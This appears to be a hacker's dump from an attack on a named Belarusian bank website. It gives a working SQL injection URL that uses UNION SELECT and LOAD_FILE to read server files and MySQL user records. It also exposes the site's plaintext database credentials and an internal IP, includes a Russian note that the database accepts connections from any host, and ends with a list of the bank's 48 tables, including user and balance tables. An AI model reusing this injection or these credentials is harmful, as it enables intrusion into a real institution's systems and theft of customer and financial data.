http://bveb.by/currency/pmetals.php?Metal=-2+union+select+1,LOAD_FILE(char(47)),3,4,5,6%20fro m%20mysql.user/*&DateStamp=2007-11-20%2000:00:00

$DBhost="localhost";
$DBuser="vbank";
$DBpassword="Dilnak41";
$DBdatabase="bvebank";
$CommonResurseLocation = "http://217.23.115.9/";

коннект к мускулу возможен с любого хоста

user: vbank
host: %

таблицы.
bvebank (48)

balanc1
balance
balanceitem
bankfinnews
bankomat
bankomat_city
bankomat_users
banktitles
br1
br2
bv
cp
d_currency
d_filials
d_name
d_percent
d_stavki
d_users
filials_time_work
mainfinacts
mainfinactsarch
metalr1
metalr3
metalr4
metalr5
metalr6
metalr7
metalt1
metalt3
metalt4
metalt5
metalt6
metalt7
mt1
mt2
opros
opros1
opros2
partner
pmetals
property
propertyitem
revenue
revenueitem
sadmusers
subscribertasks
subscribeusers
users